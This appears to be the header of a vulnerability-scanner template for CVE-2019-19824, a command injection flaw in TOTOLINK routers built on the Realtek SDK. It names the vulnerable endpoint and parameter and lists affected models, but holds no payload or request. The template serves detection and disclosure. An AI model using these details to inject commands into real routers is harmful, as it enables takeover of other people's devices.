id: CVE-2019-19824

info:
  name: TOTOLINK Realtek SD Routers - Remote Command Injection
  author: gy741
  severity: high
  description: |
    TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.
